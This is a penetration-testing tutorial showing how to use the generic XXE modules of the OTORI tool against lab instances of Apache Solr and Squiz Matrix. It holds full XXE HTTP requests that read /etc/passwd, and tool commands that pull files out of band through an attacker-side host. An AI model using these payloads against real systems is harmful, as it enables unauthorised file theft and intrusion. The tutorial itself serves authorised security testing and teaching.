[ Beneath the Waves ]

OTORI - Example 7: Generic XXE Modules

article by Ben Lincoln

 

This article describes security testing-related software whose use may be restricted or prohibited in your place of residence or your workplace. The penalties for violating laws and regulations regarding security testing-related tools can be severe. Ensuring that you are allowed to use this software is your responsibility.

The instructions in this tutorial are slightly less-detailed than for other articles on this website. This is because the software described should not be used if you are unfamiliar with basic- to intermediate-level use of Linux. Proceeding without having that knowledge is very likely to result in damage and/or loss of data.

Prerequisites

This tutorial describes the new generic XXE modules introduced in version 0.3 of On The Outside, Reaching In.

In order to understand this content, you will — at a minimum — need to have read the earlier OTORI - Example 1: Apache Solr tutorial, and set up a basic target Solr system to test against.

To understand the second part of the tutorial, you will need to have read the OTORI - Example 2: Squiz Matrix tutorial, because it depends on the use of She Wore A Mirrored Mask. Following the example steps in that section will require a test instance of Squiz Matrix, as described in that earlier tutorial.

Finally, this tutorial assumes the reader is reasonably familiar with the use of intercepting proxies such as Burp Suite or OWASP ZAP. If you are not already comfortable using one or both of those tools, you should learn how to use one of them (elsewhere) before proceeding. The specific instructions in this tutorial are for Burp Suite, but ZAP will work as well.

Background

While many XXE vulnerabilities require multiple steps to exploit (such as those described in the OTORI - Example 3: Mahara and OTORI - Example 4: McAfee ePO tutorials, where something must be uploaded, then a separate page visited to view the content), many others can be taken advantage of using a single request. Wouldn't it be great if those could be exploited without waiting for someone to write a module? Now they can.

The concept behind these modules is similar to the sqlmap -r mode (where an HTTP request is pasted into a text file and used as the basis for the SQL injection requests).

There are numerous applications that can be exploited in this way (especially applications marketed as "enterprise" products). Unfortunately, I am unable to get any more specific than that at the present, and so the examples below will duplicate the XXE functionality described in two of the previous tutorials (in which Apache Solr and Squiz Matrix were exploited). This has the side-benefit of saving me the trouble of writing detailed instructions for setting up additional test systems, at least. Rest assured that if you pay attention, sooner or later you will almost certainly encounter this type of vulnerable system when pen-testing.

Screenshots of the major steps are at the end of each section.

Apache Solr (basic XXE exploit)

  1. Locate a vulnerable instance of Apache Solr.
  2. With your browser proxied through Burp Suite (or ZAP), make a GET request to the DocumentAnalysisRequestHandler URL (e.g. http://solrtarget.vuln.local:8983/solr/analysis/document). You should receive an HTTP 400 error, because that URL does not accept GET requests.
  3. In Burp Suite, find that request in the proxy history, and send it to the Repeater component.
  4. Re-run the request in Repeater to make sure it behaves the same way.
  5. After reading the Solr documentation to understand the request format and the CVE details to understand how Solr is vulnerable, modify the request until you can successfully obtain content via the XXE vulnerability. For example, in the seventh screenshot below, you will see that a request like this will return the contents of the /etc/passwd file:

     

    POST /solr/analysis/document HTTP/1.1

    Host: solrtarget.vuln.local:8983

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Cookie: JSESSIONID=qz9ii6ll6djn

    Connection: keep-alive

    Content-Length: 194

     

    <?xml version="1.0" ?>

    <!DOCTYPE add [

    <!ELEMENT field ANY>

    <!ENTITY glyphwhiskey SYSTEM "file:///etc/passwd">

    ]>

    <add>

    <doc>

    <field name="id">&glyphwhiskey;</field>

    </doc>

    </add>

  6. Copy and paste the entire contents of that request into a text file.
  7. As shown in the screenshots below, replace the entire entity definition block with the placeholder %ENTITYDEFINITIONBLOCK%
  8. As shown in the screenshots below, replace the entity reference (&glyphwhiskey; in the example screenshots) with the series of placeholders %DELIMITER%%ENTITYREFERENCEBLOCK%%DELIMITER%.
  9. As shown in the screenshots below, replace the tag name of the XML element which contains the entity reference (field in the example screenshots) with the placeholder %ELEMENT%.
  10. Convert the newlines in the file to DOS format (using e.g. the unix2dos command).
  11. Save the file (e.g. as generic_xxe_request-solr_darh-template.txt.
  12. Run On The Outside, Reaching In using the following syntax:

     

    python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs


    ...where:
    • TEMPLATEFILE is the template request file you just created.
    • TARGETURL is the URL to make requests against.
    • BASE64ENCODE is either true or false depending on whether the retrieved content should be base64-encoded (an empty value will be treated as false).
    • DOCTYPE is the name of the XML doctype (leave blank to default to a randomly-generated value, which is recommended in most cases).
    • XMLTAG is the name of the XML tag which contains the XXE reference (leave blank to default to a randomly-generated value).

    For example, if you named the template file generic_xxe_request-solr_darh-template.txt, and the URL used for the DocumentAnalysisRequestHandler is http://solrtarget.vuln.local:8983/solr/analysis/document, use the following command:

     

    python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "generic_xxe_request-solr_darh-template.txt" "http://solrtarget.vuln.local:8983/solr/analysis/document" "" "" "field" --outputbase "./output-generic-solr" --overwrite


    (the BASE64ENCODE value is empty/false because Solr is Java-based and cannot base64-encode the data, the DOCTYPE is randomly-generated, and the XMLTAG is field because that's what Solr's XML schema for this method expects — refer to the screenshot of the unmodified version of the request).
  13. Once you've successfully requested a single file, you can proceed to use the directory-walking or other modes of On The Outside, Reaching In.
Exploiting Solr Generically — Screenshots
[ Vulnerable Solr instance located (1/3) ]
Vulnerable Solr instance located (1/3)
[ Vulnerable Solr instance located (2/3) ]
Vulnerable Solr instance located (2/3)
[ Vulnerable Solr instance located (3/3) ]
Vulnerable Solr instance located (3/3)
[ Manually creating a request to the vulnerable method ]
Manually creating a request to the vulnerable method
[ Results of the manual GET request ]
Results of the manual GET request
[ Manual GET request sent to Burp Suite Repeater component ]
Manual GET request sent to Burp Suite Repeater component
[ Request transformed into successful XXE POST in Repeater ]
Request transformed into successful XXE POST in Repeater
[ POST request copy/pasted into a text file ]
POST request copy/pasted into a text file
[ Text file modified for use in OTORI ]
Text file modified for use in OTORI
[ Text file converted to DOS-style line breaks ]
Text file converted to DOS-style line breaks
[ Generic XXE module used to retrieve content ]
Generic XXE module used to retrieve content
       

Illustrations related to the preceeding section.

 

Squiz Matrix (PHP Yunusov-Osipov-style exploit)

  1. Locate a vulnerable instance of Squiz Matrix.
  2. With your browser proxied through Burp Suite (or ZAP), log into the system and browse through some of the content.
  3. If you examine your proxy history, sooner or later you will find some POST requests which contain XML fragments like <command action="get translations" />. Send one of those to the Repeater component of Burp Suite.
  4. Examining the original writeup for the vulnerability, you will see that Sense of Security's POC request had a body of:

     

    <!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22";>]>

    <scan>&test;</scan>


    The fourth screenshot below shows a modified version of this example. You may notice that Sense of Security's POC request appears to contain a syntax error (the semicolon after the entity definition), and this will result in a particular error being returned by the system (also visible in the fourth screenshot). The full example request is:

     

    POST /?SQ_ACTION=asset_map_request HTTP/1.1

    Host: squiztarget.vuln.local

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Connection: keep-alive

    Content-Length: 127

     

    <?xml version="1.0" ?>

    <!DOCTYPE command [

    <!ENTITY pussycatoaths SYSTEM "file:///etc/passwd";>

    ]>

    <pussycatoaths>&pussycatoaths;</pussycatoaths>

  5. If the errant semicolon is removed and the command XML block is included in the request (which is what Squiz Matrix expects), no special results will occur from the request. However, if a separate XML block is introduced in addition to the command block, then a different error will result (pictured in the fifth screenshot) which also implies that XML content is being parsed, but does not display the XXE results. The full request for this is:

     

    POST /?SQ_ACTION=asset_map_request HTTP/1.1

    Host: squiztarget.vuln.local

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Connection: keep-alive

    Content-Length: 162

     

    <?xml version="1.0" ?>

    <!DOCTYPE command [

    <!ENTITY pussycatoaths SYSTEM "file:///etc/passwd">

    ]>

    <command action="get translations">&pussycatoaths;</command>

  6. On the assumption that this application is vulnerable to Yunusov-Osipov-style exploitation, the following relatively-unmodified block of content can now be pasted into a text file:

     

    POST /?SQ_ACTION=asset_map_request HTTP/1.1

    Host: squiztarget.vuln.local

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Connection: keep-alive

    Content-Length: 31

     

    <command action="get translations" />

  7. Just as in the previous example, the newline characters are converted to DOS-style.
  8. Again, referring to the the original writeup for the vulnerability, it becomes clear that an explicit XML header must be added to the request to exploit the vulnerable code. In addition, the placeholder %YUNUSOVOSIPOVBLOCK% is placed immediately below it (the syntax for the placeholder differs because of the type of exploit being performed), with the entire modified template text file consisting of:

     

    POST /?SQ_ACTION=asset_map_request HTTP/1.1

    Host: squiztarget.vuln.local

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Connection: keep-alive

    Content-Length: 31

     

    <?xml version="1.0" ?>

    %YUNUSOVOSIPOVBLOCK%

    <command action="get translations" />

  9. This template file can now be used with On The Outside, Reaching In, and because so many of the options can be left as the default, the generic module options are more straightforward than the Solr example above. However, the command as a whole is more complicated because the use of She Wore A Mirrored Mask is required.

     

    python ./otori.py --clone --module "G-XXE-YO" --singleuri "file:///etc/passwd" --module-options "generic_xxe_request-squiz-template.txt" "http://squiztarget.vuln.local/?SQ_ACTION=asset_map_request" --outputbase "./output-generic-squiz" --overwrite --swamm-url-base "http://kali.vuln.local:8080/CBt/" --swamm-url-read "http://kali.vuln.local:8080/CBt/3lh/" --swamm-url-write "http://kali.vuln.local:8080/CBt/moc/" --swamm-url-append "http://kali.vuln.local:8080/CBt/n4Y/" --swamm-url-delete "http://kali.vuln.local:8080/CBt/Qyv/" --swamm-url-store-add "http://kali.vuln.local:8080/CBt/BmF/" --swamm-url-store-delete "http://kali.vuln.local:8080/CBt/hpB/"


    If you find this command confusing, please refer to the previous tutorials.
Exploiting Squiz Matrix Generically — Screenshots
[ Potentially vulnerable Squiz Matrix instance located ]
Potentially vulnerable Squiz Matrix instance located
[ Logged into Squiz Matrix to generate traffic through Burp Suite ]
Logged into Squiz Matrix to generate traffic through Burp Suite
[ Example POST request located in Burp Suite history ]
Example POST request located in Burp Suite history
[ Request sent to Repeater and modified (1/2) ]
Request sent to Repeater and modified (1/2)
[ Request sent to Repeater and modified (2/2) ]
Request sent to Repeater and modified (2/2)
[ Request pasted into text file and genericized ]
Request pasted into text file and genericized
[ Data obtained from target system using the generic Yunusov-Osipov module ]
Data obtained from target system using the generic Yunusov-Osipov module
     

Illustrations related to the preceeding section.

 
 
[ Page Icon ]